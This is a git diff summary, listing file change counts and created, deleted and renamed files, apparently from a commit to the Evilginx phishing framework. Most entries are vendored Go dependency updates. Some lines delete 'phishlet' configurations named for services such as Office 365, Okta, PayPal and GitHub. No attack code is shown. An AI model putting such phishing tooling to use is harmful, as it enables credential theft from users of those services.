.../x/sys/unix/ztypes_linux_riscv64.go | 98 +-
.../x/sys/unix/ztypes_linux_s390x.go | 101 +-
.../x/sys/unix/ztypes_linux_sparc64.go | 97 +-
.../x/sys/unix/ztypes_netbsd_386.go | 6 +-
.../x/sys/unix/ztypes_netbsd_amd64.go | 6 +-
.../x/sys/unix/ztypes_netbsd_arm.go | 6 +-
.../x/sys/unix/ztypes_netbsd_arm64.go | 6 +-
.../x/sys/unix/ztypes_openbsd_386.go | 25 +-
.../x/sys/unix/ztypes_openbsd_amd64.go | 25 +-
.../x/sys/unix/ztypes_openbsd_arm.go | 25 +-
.../x/sys/unix/ztypes_openbsd_arm64.go | 25 +-
.../x/sys/unix/ztypes_openbsd_mips64.go | 568 ++
.../x/sys/unix/ztypes_solaris_amd64.go | 75 +-
.../golang.org/x/sys/unix/ztypes_zos_s390x.go | 406 +
vendor/golang.org/x/sys/windows/aliases.go | 4 +-
.../golang.org/x/sys/windows/dll_windows.go | 32 +-
vendor/golang.org/x/sys/windows/empty.s | 1 +
.../golang.org/x/sys/windows/env_windows.go | 11 +-
vendor/golang.org/x/sys/windows/eventlog.go | 1 +
.../golang.org/x/sys/windows/exec_windows.go | 91 +-
.../x/sys/windows/memory_windows.go | 36 +-
vendor/golang.org/x/sys/windows/mkerrors.bash | 7 +
vendor/golang.org/x/sys/windows/mksyscall.go | 3 +-
vendor/golang.org/x/sys/windows/race.go | 1 +
vendor/golang.org/x/sys/windows/race0.go | 1 +
.../x/sys/windows/security_windows.go | 60 +-
vendor/golang.org/x/sys/windows/service.go | 22 +-
.../x/sys/windows/setupapi_windows.go | 1425 +++
vendor/golang.org/x/sys/windows/str.go | 1 +
vendor/golang.org/x/sys/windows/syscall.go | 47 +-
.../x/sys/windows/syscall_windows.go | 488 +-
.../golang.org/x/sys/windows/types_windows.go | 1541 +++-
.../x/sys/windows/types_windows_386.go | 13 +
.../x/sys/windows/types_windows_amd64.go | 12 +
.../x/sys/windows/types_windows_arm.go | 13 +
.../x/sys/windows/types_windows_arm64.go | 34 +
.../x/sys/windows/zerrors_windows.go | 2619 +++++-
.../x/sys/windows/zsyscall_windows.go | 5459 ++++++------
.../x/text/secure/bidirule/bidirule10.0.0.go | 1 +
.../x/text/secure/bidirule/bidirule9.0.0.go | 1 +
.../golang.org/x/text/transform/transform.go | 6 +-
vendor/golang.org/x/text/unicode/bidi/bidi.go | 221 +-
vendor/golang.org/x/text/unicode/bidi/core.go | 71 +-
vendor/golang.org/x/text/unicode/bidi/gen.go | 133 -
.../x/text/unicode/bidi/gen_ranges.go | 57 -
.../x/text/unicode/bidi/gen_trieval.go | 64 -
.../x/text/unicode/bidi/tables10.0.0.go | 1 +
.../x/text/unicode/bidi/tables11.0.0.go | 3 +-
.../x/text/unicode/bidi/tables12.0.0.go | 1924 ++++
.../x/text/unicode/bidi/tables13.0.0.go | 1956 +++++
.../x/text/unicode/bidi/tables9.0.0.go | 1 +
.../x/text/unicode/norm/maketables.go | 986 ---
.../x/text/unicode/norm/tables10.0.0.go | 1 +
.../x/text/unicode/norm/tables11.0.0.go | 3 +-
.../x/text/unicode/norm/tables12.0.0.go | 7711 ++++++++++++++++
.../x/text/unicode/norm/tables13.0.0.go | 7761 +++++++++++++++++
.../x/text/unicode/norm/tables9.0.0.go | 1 +
.../golang.org/x/text/unicode/norm/triegen.go | 117 -
vendor/golang.org/x/tools/LICENSE | 27 +
vendor/golang.org/x/tools/PATENTS | 22 +
.../x/tools/go/gcexportdata/gcexportdata.go | 177 +
.../x/tools/go/gcexportdata/importer.go | 75 +
.../x/tools/go/internal/gcimporter/bexport.go | 853 ++
.../x/tools/go/internal/gcimporter/bimport.go | 1053 +++
.../go/internal/gcimporter/exportdata.go | 99 +
.../go/internal/gcimporter/gcimporter.go | 1125 +++
.../x/tools/go/internal/gcimporter/iexport.go | 1010 +++
.../x/tools/go/internal/gcimporter/iimport.go | 878 ++
.../go/internal/gcimporter/newInterface10.go | 22 +
.../go/internal/gcimporter/newInterface11.go | 14 +
.../go/internal/gcimporter/support_go117.go | 16 +
.../go/internal/gcimporter/support_go118.go | 23 +
.../go/internal/gcimporter/unified_no.go | 10 +
.../go/internal/gcimporter/unified_yes.go | 10 +
.../go/internal/gcimporter/ureader_no.go | 19 +
.../go/internal/gcimporter/ureader_yes.go | 612 ++
.../tools/go/internal/packagesdriver/sizes.go | 49 +
.../x/tools/go/internal/pkgbits/codes.go | 77 +
.../x/tools/go/internal/pkgbits/decoder.go | 433 +
.../x/tools/go/internal/pkgbits/doc.go | 32 +
.../x/tools/go/internal/pkgbits/encoder.go | 379 +
.../x/tools/go/internal/pkgbits/flags.go | 9 +
.../x/tools/go/internal/pkgbits/frames_go1.go | 21 +
.../tools/go/internal/pkgbits/frames_go17.go | 28 +
.../x/tools/go/internal/pkgbits/reloc.go | 42 +
.../x/tools/go/internal/pkgbits/support.go | 17 +
.../x/tools/go/internal/pkgbits/sync.go | 113 +
.../go/internal/pkgbits/syncmarker_string.go | 89 +
vendor/golang.org/x/tools/go/packages/doc.go | 220 +
.../x/tools/go/packages/external.go | 101 +
.../golang.org/x/tools/go/packages/golist.go | 1173 +++
.../x/tools/go/packages/golist_overlay.go | 575 ++
.../x/tools/go/packages/loadmode_string.go | 57 +
.../x/tools/go/packages/packages.go | 1273 +++
.../golang.org/x/tools/go/packages/visit.go | 59 +
.../x/tools/internal/event/core/event.go | 85 +
.../x/tools/internal/event/core/export.go | 70 +
.../x/tools/internal/event/core/fast.go | 77 +
.../internal/event/doc.go} | 10 +-
.../x/tools/internal/event/event.go | 127 +
.../x/tools/internal/event/keys/keys.go | 564 ++
.../x/tools/internal/event/keys/standard.go | 22 +
.../x/tools/internal/event/label/label.go | 215 +
.../x/tools/internal/gocommand/invoke.go | 283 +
.../x/tools/internal/gocommand/vendor.go | 109 +
.../x/tools/internal/gocommand/version.go | 51 +
.../internal/packagesinternal/packages.go | 30 +
.../x/tools/internal/typeparams/common.go | 179 +
.../x/tools/internal/typeparams/coretype.go | 122 +
.../internal/typeparams/enabled_go117.go | 12 +
.../internal/typeparams/enabled_go118.go | 15 +
.../x/tools/internal/typeparams/normalize.go | 218 +
.../x/tools/internal/typeparams/termlist.go | 163 +
.../internal/typeparams/typeparams_go117.go | 197 +
.../internal/typeparams/typeparams_go118.go | 151 +
.../x/tools/internal/typeparams/typeterm.go | 170 +
.../tools/internal/typesinternal/errorcode.go | 1526 ++++
.../typesinternal/errorcode_string.go | 167 +
.../x/tools/internal/typesinternal/types.go | 52 +
.../tools/internal/typesinternal/types_118.go | 19 +
vendor/gopkg.in/ini.v1/.editorconfig | 12 +
vendor/gopkg.in/ini.v1/.gitignore | 7 +
vendor/gopkg.in/ini.v1/.golangci.yml | 21 +
vendor/gopkg.in/ini.v1/LICENSE | 191 +
vendor/gopkg.in/ini.v1/Makefile | 15 +
vendor/gopkg.in/ini.v1/README.md | 43 +
vendor/gopkg.in/ini.v1/codecov.yml | 9 +
vendor/gopkg.in/ini.v1/data_source.go | 76 +
vendor/gopkg.in/ini.v1/deprecated.go | 25 +
vendor/gopkg.in/ini.v1/error.go | 34 +
vendor/gopkg.in/ini.v1/file.go | 541 ++
vendor/gopkg.in/ini.v1/helper.go | 24 +
vendor/gopkg.in/ini.v1/ini.go | 176 +
vendor/gopkg.in/ini.v1/key.go | 837 ++
vendor/gopkg.in/ini.v1/parser.go | 513 ++
vendor/gopkg.in/ini.v1/section.go | 256 +
vendor/gopkg.in/ini.v1/struct.go | 747 ++
vendor/gopkg.in/yaml.v2/.travis.yml | 19 +-
vendor/gopkg.in/yaml.v2/apic.go | 5 +
vendor/gopkg.in/yaml.v2/decode.go | 48 +-
vendor/gopkg.in/yaml.v2/go.mod | 5 -
vendor/gopkg.in/yaml.v2/resolve.go | 2 +-
vendor/gopkg.in/yaml.v2/scannerc.go | 123 +-
vendor/gopkg.in/yaml.v2/yaml.go | 16 +-
vendor/gopkg.in/yaml.v2/yamlh.go | 1 +
vendor/modules.txt | 172 +-
1184 files changed, 136438 insertions(+), 57490 deletions(-)
delete mode 100644 Dockerfile
create mode 100644 build.bat
create mode 100644 build_run.bat
create mode 100644 media/img/evilginx_mastery.jpg
delete mode 100644 phishlets/airbnb.yaml
delete mode 100644 phishlets/amazon.yaml
delete mode 100644 phishlets/booking.yaml
delete mode 100644 phishlets/citrix.yaml
delete mode 100644 phishlets/coinbase.yaml
create mode 100644 phishlets/example.yaml
delete mode 100644 phishlets/facebook.yaml
delete mode 100644 phishlets/github.yaml
delete mode 100644 phishlets/instagram.yaml
delete mode 100644 phishlets/linkedin.yaml
delete mode 100644 phishlets/o365.yaml
delete mode 100644 phishlets/okta.yaml
delete mode 100644 phishlets/onelogin.yaml
delete mode 100644 phishlets/outlook.yaml
delete mode 100644 phishlets/paypal.yaml
delete mode 100644 phishlets/protonmail.yaml
delete mode 100644 phishlets/reddit.yaml
delete mode 100644 phishlets/tiktok.yaml
delete mode 100644 phishlets/twitter-mobile.yaml
delete mode 100644 phishlets/twitter.yaml
delete mode 100644 phishlets/wordpress.org.yaml
rename templates/download_example.html => redirectors/download_example/index.html (91%)
create mode 100644 vendor/github.com/caddyserver/certmagic/.gitignore
create mode 100644 vendor/github.com/caddyserver/certmagic/LICENSE.txt
create mode 100644 vendor/github.com/caddyserver/certmagic/README.md
create mode 100644 vendor/github.com/caddyserver/certmagic/account.go
create mode 100644 vendor/github.com/caddyserver/certmagic/acmeclient.go
create mode 100644 vendor/github.com/caddyserver/certmagic/acmeissuer.go
create mode 100644 vendor/github.com/caddyserver/certmagic/async.go
create mode 100644 vendor/github.com/caddyserver/certmagic/cache.go
create mode 100644 vendor/github.com/caddyserver/certmagic/certificates.go
create mode 100644 vendor/github.com/caddyserver/certmagic/certmagic.go
create mode 100644 vendor/github.com/caddyserver/certmagic/config.go
create mode 100644 vendor/github.com/caddyserver/certmagic/crypto.go
create mode 100644 vendor/github.com/caddyserver/certmagic/dnsutil.go
create mode 100644 vendor/github.com/caddyserver/certmagic/filestorage.go
create mode 100644 vendor/github.com/caddyserver/certmagic/handshake.go
create mode 100644 vendor/github.com/caddyserver/certmagic/httphandler.go
create mode 100644 vendor/github.com/caddyserver/certmagic/maintain.go
create mode 100644 vendor/github.com/caddyserver/certmagic/ocsp.go
create mode 100644 vendor/github.com/caddyserver/certmagic/ratelimiter.go
create mode 100644 vendor/github.com/caddyserver/certmagic/solvers.go
create mode 100644 vendor/github.com/caddyserver/certmagic/storage.go
delete mode 100644 vendor/github.com/cenkalti/backoff/v3/go.mod
delete mode 100644 vendor/github.com/elazarl/goproxy/go.mod
delete mode 100644 vendor/github.com/elazarl/goproxy/go.sum
create mode 100644 vendor/github.com/elazarl/goproxy/websocket.go
delete mode 100644 vendor/github.com/fatih/color/.travis.yml
delete mode 100644 vendor/github.com/fatih/color/Gopkg.lock
delete mode 100644 vendor/github.com/fatih/color/Gopkg.toml
create mode 100644 vendor/github.com/fsnotify/fsnotify/.gitattributes
create mode 100644 vendor/github.com/fsnotify/fsnotify/.mailmap
delete mode 100644 vendor/github.com/fsnotify/fsnotify/.travis.yml
delete mode 100644 vendor/github.com/go-acme/lego/v3/certificate/authorization.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/certificate/certificates.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/certificate/errors.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/dns01/cname.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/dns01/dns_challenge.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/dns01/dns_challenge_manual.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/dns01/fqdn.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/dns01/nameserver.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/dns01/precheck.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/http01/domain_matcher.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/http01/http_challenge.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/http01/http_challenge_server.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/resolver/errors.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/resolver/prober.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/challenge/resolver/solver_manager.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/lego/client.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/lego/client_config.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/platform/wait/wait.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/registration/registar.go
delete mode 100644 vendor/github.com/go-acme/lego/v3/registration/user.go
delete mode 100644 vendor/github.com/gorilla/mux/go.mod
delete mode 100644 vendor/github.com/hashicorp/hcl/go.mod
delete mode 100644 vendor/github.com/hashicorp/hcl/go.sum
create mode 100644 vendor/github.com/klauspost/cpuid/v2/.gitignore
create mode 100644 vendor/github.com/klauspost/cpuid/v2/.goreleaser.yml
create mode 100644 vendor/github.com/klauspost/cpuid/v2/CONTRIBUTING.txt
create mode 100644 vendor/github.com/klauspost/cpuid/v2/LICENSE
create mode 100644 vendor/github.com/klauspost/cpuid/v2/README.md
create mode 100644 vendor/github.com/klauspost/cpuid/v2/cpuid.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/cpuid_386.s
create mode 100644 vendor/github.com/klauspost/cpuid/v2/cpuid_amd64.s
create mode 100644 vendor/github.com/klauspost/cpuid/v2/cpuid_arm64.s
create mode 100644 vendor/github.com/klauspost/cpuid/v2/detect_arm64.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/detect_ref.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/detect_x86.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/featureid_string.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/os_darwin_arm64.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/os_linux_arm64.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/os_other_arm64.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/os_safe_linux_arm64.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/os_unsafe_linux_arm64.go
create mode 100644 vendor/github.com/klauspost/cpuid/v2/test-architectures.sh
create mode 100644 vendor/github.com/libdns/libdns/.gitignore
create mode 100644 vendor/github.com/libdns/libdns/LICENSE
create mode 100644 vendor/github.com/libdns/libdns/README.md
create mode 100644 vendor/github.com/libdns/libdns/libdns.go
rename vendor/github.com/magiconair/properties/{LICENSE => LICENSE.md} (84%)
delete mode 100644 vendor/github.com/mattn/go-colorable/.travis.yml
delete mode 100644 vendor/github.com/mattn/go-colorable/go.mod
delete mode 100644 vendor/github.com/mattn/go-colorable/go.sum
create mode 100644 vendor/github.com/mattn/go-colorable/go.test.sh
delete mode 100644 vendor/github.com/mattn/go-isatty/.travis.yml
delete mode 100644 vendor/github.com/mattn/go-isatty/go.mod
delete mode 100644 vendor/github.com/mattn/go-isatty/go.sum
create mode 100644 vendor/github.com/mattn/go-isatty/go.test.sh
delete mode 100644 vendor/github.com/mattn/go-isatty/isatty_android.go
create mode 100644 vendor/github.com/mattn/go-isatty/isatty_plan9.go
create mode 100644 vendor/github.com/mholt/acmez/.gitignore
create mode 100644 vendor/github.com/mholt/acmez/LICENSE
create mode 100644 vendor/github.com/mholt/acmez/README.md
create mode 100644 vendor/github.com/mholt/acmez/THIRD-PARTY
create mode 100644 vendor/github.com/mholt/acmez/acme/account.go
create mode 100644 vendor/github.com/mholt/acmez/acme/authorization.go
create mode 100644 vendor/github.com/mholt/acmez/acme/certificate.go
create mode 100644 vendor/github.com/mholt/acmez/acme/challenge.go
create mode 100644 vendor/github.com/mholt/acmez/acme/client.go
create mode 100644 vendor/github.com/mholt/acmez/acme/http.go
create mode 100644 vendor/github.com/mholt/acmez/acme/jws.go
create mode 100644 vendor/github.com/mholt/acmez/acme/order.go
create mode 100644 vendor/github.com/mholt/acmez/acme/problem.go
create mode 100644 vendor/github.com/mholt/acmez/client.go
create mode 100644 vendor/github.com/mholt/acmez/solver.go
create mode 100644 vendor/github.com/mholt/acmez/tlsalpn01.go
delete mode 100644 vendor/github.com/miekg/dns/.travis.yml
create mode 100644 vendor/github.com/miekg/dns/CODEOWNERS
delete mode 100644 vendor/github.com/miekg/dns/duplicate_generate.go
delete mode 100644 vendor/github.com/miekg/dns/go.mod
delete mode 100644 vendor/github.com/miekg/dns/go.sum
create mode 100644 vendor/github.com/miekg/dns/hash.go
rename vendor/github.com/miekg/dns/{listen_go_not111.go => listen_no_reuseport.go} (100%)
rename vendor/github.com/miekg/dns/{listen_go111.go => listen_reuseport.go} (100%)
delete mode 100644 vendor/github.com/miekg/dns/msg_generate.go
create mode 100644 vendor/github.com/miekg/dns/svcb.go
create mode 100644 vendor/github.com/miekg/dns/tools.go
delete mode 100644 vendor/github.com/miekg/dns/types_generate.go
delete mode 100644 vendor/github.com/mitchellh/mapstructure/.travis.yml
delete mode 100644 vendor/github.com/mitchellh/mapstructure/go.mod
create mode 100644 vendor/github.com/pelletier/go-toml/.dockerignore
delete mode 100644 vendor/github.com/pelletier/go-toml/.travis.yml
create mode 100644 vendor/github.com/pelletier/go-toml/CONTRIBUTING.md
create mode 100644 vendor/github.com/pelletier/go-toml/Dockerfile
create mode 100644 vendor/github.com/pelletier/go-toml/Makefile
create mode 100644 vendor/github.com/pelletier/go-toml/PULL_REQUEST_TEMPLATE.md
create mode 100644 vendor/github.com/pelletier/go-toml/azure-pipelines.yml
delete mode 100644 vendor/github.com/pelletier/go-toml/benchmark.json
delete mode 100644 vendor/github.com/pelletier/go-toml/benchmark.toml
delete mode 100644 vendor/github.com/pelletier/go-toml/benchmark.yml
create mode 100644 vendor/github.com/pelletier/go-toml/localtime.go
create mode 100644 vendor/github.com/pelletier/go-toml/marshal_OrderPreserve_test.toml
delete mode 100644 vendor/github.com/pelletier/go-toml/test.sh
create mode 100644 vendor/github.com/pelletier/go-toml/tomlpub.go
create mode 100644 vendor/github.com/pelletier/go-toml/tomltree_writepub.go
create mode 100644 vendor/github.com/spf13/afero/.gitignore
delete mode 100644 vendor/github.com/spf13/afero/go.mod
create mode 100644 vendor/github.com/spf13/afero/iofs.go
create mode 100644 vendor/github.com/spf13/afero/symlink.go
delete mode 100644 vendor/github.com/spf13/cast/.travis.yml
delete mode 100644 vendor/github.com/spf13/cast/go.mod
delete mode 100644 vendor/github.com/spf13/cast/go.sum
create mode 100644 vendor/github.com/spf13/cast/timeformattype_string.go
delete mode 100644 vendor/github.com/spf13/jwalterweatherman/go.mod
create mode 100644 vendor/github.com/spf13/pflag/float32_slice.go
create mode 100644 vendor/github.com/spf13/pflag/float64_slice.go
create mode 100644 vendor/github.com/spf13/pflag/int32_slice.go
create mode 100644 vendor/github.com/spf13/pflag/int64_slice.go
create mode 100644 vendor/github.com/spf13/pflag/string_to_int64.go
create mode 100644 vendor/github.com/spf13/viper/.editorconfig
create mode 100644 vendor/github.com/spf13/viper/.golangci.yml
delete mode 100644 vendor/github.com/spf13/viper/.travis.yml
create mode 100644 vendor/github.com/spf13/viper/Makefile
create mode 100644 vendor/github.com/spf13/viper/TROUBLESHOOTING.md
create mode 100644 vendor/github.com/spf13/viper/fs.go
delete mode 100644 vendor/github.com/spf13/viper/go.mod
delete mode 100644 vendor/github.com/spf13/viper/go.sum
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/decoder.go
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/encoder.go
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/error.go
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/hcl/codec.go
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/json/codec.go
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/toml/codec.go
create mode 100644 vendor/github.com/spf13/viper/internal/encoding/yaml/codec.go
create mode 100644 vendor/github.com/spf13/viper/logger.go
create mode 100644 vendor/github.com/spf13/viper/viper_go1_15.go
create mode 100644 vendor/github.com/spf13/viper/viper_go1_16.go
create mode 100644 vendor/github.com/spf13/viper/watch.go
create mode 100644 vendor/github.com/spf13/viper/watch_wasm.go
create mode 100644 vendor/github.com/subosito/gotenv/.env
create mode 100644 vendor/github.com/subosito/gotenv/.env.invalid
create mode 100644 vendor/github.com/subosito/gotenv/.gitignore
create mode 100644 vendor/github.com/subosito/gotenv/.travis.yml
create mode 100644 vendor/github.com/subosito/gotenv/CHANGELOG.md
create mode 100644 vendor/github.com/subosito/gotenv/LICENSE
create mode 100644 vendor/github.com/subosito/gotenv/README.md
create mode 100644 vendor/github.com/subosito/gotenv/appveyor.yml
create mode 100644 vendor/github.com/subosito/gotenv/gotenv.go
delete mode 100644 vendor/github.com/tidwall/gjson/.travis.yml
delete mode 100644 vendor/github.com/tidwall/gjson/gjson_gae.go
delete mode 100644 vendor/github.com/tidwall/gjson/gjson_ngae.go
delete mode 100644 vendor/github.com/tidwall/gjson/go.mod
delete mode 100644 vendor/github.com/tidwall/gjson/go.sum
delete mode 100644 vendor/github.com/tidwall/match/.travis.yml
delete mode 100644 vendor/github.com/tidwall/pretty/.travis.yml
create mode 100644 vendor/go.uber.org/atomic/.codecov.yml
create mode 100644 vendor/go.uber.org/atomic/.gitignore
create mode 100644 vendor/go.uber.org/atomic/CHANGELOG.md
create mode 100644 vendor/go.uber.org/atomic/LICENSE.txt
create mode 100644 vendor/go.uber.org/atomic/Makefile
create mode 100644 vendor/go.uber.org/atomic/README.md
create mode 100644 vendor/go.uber.org/atomic/bool.go
create mode 100644 vendor/go.uber.org/atomic/bool_ext.go
create mode 100644 vendor/go.uber.org/atomic/doc.go
create mode 100644 vendor/go.uber.org/atomic/duration.go
create mode 100644 vendor/go.uber.org/atomic/duration_ext.go
create mode 100644 vendor/go.uber.org/atomic/error.go
create mode 100644 vendor/go.uber.org/atomic/error_ext.go
create mode 100644 vendor/go.uber.org/atomic/float64.go
create mode 100644 vendor/go.uber.org/atomic/float64_ext.go
create mode 100644 vendor/go.uber.org/atomic/gen.go
create mode 100644 vendor/go.uber.org/atomic/int32.go
create mode 100644 vendor/go.uber.org/atomic/int64.go
create mode 100644 vendor/go.uber.org/atomic/nocmp.go
create mode 100644 vendor/go.uber.org/atomic/string.go
create mode 100644 vendor/go.uber.org/atomic/string_ext.go
create mode 100644 vendor/go.uber.org/atomic/time.go
create mode 100644 vendor/go.uber.org/atomic/time_ext.go
create mode 100644 vendor/go.uber.org/atomic/uint32.go
create mode 100644 vendor/go.uber.org/atomic/uint64.go
create mode 100644 vendor/go.uber.org/atomic/uintptr.go
create mode 100644 vendor/go.uber.org/atomic/unsafe_pointer.go
create mode 100644 vendor/go.uber.org/atomic/value.go
create mode 100644 vendor/go.uber.org/multierr/.codecov.yml
create mode 100644 vendor/go.uber.org/multierr/.gitignore
create mode 100644 vendor/go.uber.org/multierr/CHANGELOG.md
create mode 100644 vendor/go.uber.org/multierr/LICENSE.txt
create mode 100644 vendor/go.uber.org/multierr/Makefile
create mode 100644 vendor/go.uber.org/multierr/README.md
create mode 100644 vendor/go.uber.org/multierr/error.go
create mode 100644 vendor/go.uber.org/multierr/glide.yaml
create mode 100644 vendor/go.uber.org/zap/.codecov.yml
create mode 100644 vendor/go.uber.org/zap/.gitignore
create mode 100644 vendor/go.uber.org/zap/.readme.tmpl
create mode 100644 vendor/go.uber.org/zap/CHANGELOG.md
create mode 100644 vendor/go.uber.org/zap/CODE_OF_CONDUCT.md
create mode 100644 vendor/go.uber.org/zap/CONTRIBUTING.md
create mode 100644 vendor/go.uber.org/zap/FAQ.md
create mode 100644 vendor/go.uber.org/zap/LICENSE.txt
create mode 100644 vendor/go.uber.org/zap/Makefile
create mode 100644 vendor/go.uber.org/zap/README.md
create mode 100644 vendor/go.uber.org/zap/array.go
create mode 100644 vendor/go.uber.org/zap/buffer/buffer.go
create mode 100644 vendor/go.uber.org/zap/buffer/pool.go
create mode 100644 vendor/go.uber.org/zap/checklicense.sh
create mode 100644 vendor/go.uber.org/zap/config.go
create mode 100644 vendor/go.uber.org/zap/doc.go
create mode 100644 vendor/go.uber.org/zap/encoder.go
create mode 100644 vendor/go.uber.org/zap/error.go
create mode 100644 vendor/go.uber.org/zap/field.go
create mode 100644 vendor/go.uber.org/zap/flag.go
create mode 100644 vendor/go.uber.org/zap/glide.yaml
create mode 100644 vendor/go.uber.org/zap/global.go
create mode 100644 vendor/go.uber.org/zap/http_handler.go
create mode 100644 vendor/go.uber.org/zap/internal/bufferpool/bufferpool.go
create mode 100644 vendor/go.uber.org/zap/internal/color/color.go
create mode 100644 vendor/go.uber.org/zap/internal/exit/exit.go
create mode 100644 vendor/go.uber.org/zap/level.go
create mode 100644 vendor/go.uber.org/zap/logger.go
create mode 100644 vendor/go.uber.org/zap/options.go
create mode 100644 vendor/go.uber.org/zap/sink.go
create mode 100644 vendor/go.uber.org/zap/stacktrace.go
create mode 100644 vendor/go.uber.org/zap/sugar.go
create mode 100644 vendor/go.uber.org/zap/time.go
create mode 100644 vendor/go.uber.org/zap/writer.go
create mode 100644 vendor/go.uber.org/zap/zapcore/buffered_write_syncer.go
create mode 100644 vendor/go.uber.org/zap/zapcore/clock.go
create mode 100644 vendor/go.uber.org/zap/zapcore/console_encoder.go
create mode 100644 vendor/go.uber.org/zap/zapcore/core.go
create mode 100644 vendor/go.uber.org/zap/zapcore/doc.go
create mode 100644 vendor/go.uber.org/zap/zapcore/encoder.go
create mode 100644 vendor/go.uber.org/zap/zapcore/entry.go
create mode 100644 vendor/go.uber.org/zap/zapcore/error.go
create mode 100644 vendor/go.uber.org/zap/zapcore/field.go
create mode 100644 vendor/go.uber.org/zap/zapcore/hook.go
create mode 100644 vendor/go.uber.org/zap/zapcore/increase_level.go
create mode 100644 vendor/go.uber.org/zap/zapcore/json_encoder.go
create mode 100644 vendor/go.uber.org/zap/zapcore/level.go
create mode 100644 vendor/go.uber.org/zap/zapcore/level_strings.go
create mode 100644 vendor/go.uber.org/zap/zapcore/marshaler.go
create mode 100644 vendor/go.uber.org/zap/zapcore/memory_encoder.go
create mode 100644 vendor/go.uber.org/zap/zapcore/reflected_encoder.go
create mode 100644 vendor/go.uber.org/zap/zapcore/sampler.go
create mode 100644 vendor/go.uber.org/zap/zapcore/tee.go
create mode 100644 vendor/go.uber.org/zap/zapcore/write_syncer.go
delete mode 100644 vendor/golang.org/x/crypto/AUTHORS
delete mode 100644 vendor/golang.org/x/crypto/CONTRIBUTORS
delete mode 100644 vendor/golang.org/x/crypto/ed25519/ed25519_go113.go
delete mode 100644 vendor/golang.org/x/crypto/ed25519/internal/edwards25519/const.go
delete mode 100644 vendor/golang.org/x/crypto/ed25519/internal/edwards25519/edwards25519.go
create mode 100644 vendor/golang.org/x/mod/LICENSE
create mode 100644 vendor/golang.org/x/mod/PATENTS
create mode 100644 vendor/golang.org/x/mod/semver/semver.go
delete mode 100644 vendor/golang.org/x/net/AUTHORS
delete mode 100644 vendor/golang.org/x/net/CONTRIBUTORS
create mode 100644 vendor/golang.org/x/net/idna/go118.go
create mode 100644 vendor/golang.org/x/net/idna/pre_go118.go
rename vendor/golang.org/x/net/idna/{tables12.00.go => tables12.0.0.go} (99%)
create mode 100644 vendor/golang.org/x/net/idna/tables13.0.0.go
delete mode 100644 vendor/golang.org/x/net/internal/iana/gen.go
create mode 100644 vendor/golang.org/x/net/internal/socket/cmsghdr_unix.go
create mode 100644 vendor/golang.org/x/net/internal/socket/cmsghdr_zos_s390x.go
create mode 100644 vendor/golang.org/x/net/internal/socket/complete_dontwait.go
create mode 100644 vendor/golang.org/x/net/internal/socket/complete_nodontwait.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_aix.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_darwin.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_dragonfly.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_freebsd.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_linux.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_netbsd.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_openbsd.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/defs_solaris.go
create mode 100644 vendor/golang.org/x/net/internal/socket/msghdr_zos_s390x.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/sys_bsdvar.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/sys_dragonfly.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/sys_go1_11_darwin.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/sys_linkname.go
create mode 100644 vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go
rename vendor/golang.org/x/net/internal/socket/{sys_darwin.go => sys_linux_ppc.go} (53%)
delete mode 100644 vendor/golang.org/x/net/internal/socket/sys_solaris.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/sys_solaris_amd64.s
create mode 100644 vendor/golang.org/x/net/internal/socket/sys_zos_s390x.go
create mode 100644 vendor/golang.org/x/net/internal/socket/sys_zos_s390x.s
delete mode 100644 vendor/golang.org/x/net/internal/socket/zsys_darwin_386.go
delete mode 100644 vendor/golang.org/x/net/internal/socket/zsys_darwin_arm.go
create mode 100644 vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go
create mode 100644 vendor/golang.org/x/net/internal/socket/zsys_linux_ppc.go
create mode 100644 vendor/golang.org/x/net/internal/socket/zsys_openbsd_mips64.go
create mode 100644 vendor/golang.org/x/net/internal/socket/zsys_zos_s390x.go
create mode 100644 vendor/golang.org/x/net/ipv4/control_zos.go
delete mode 100644 vendor/golang.org/x/net/ipv4/defs_aix.go
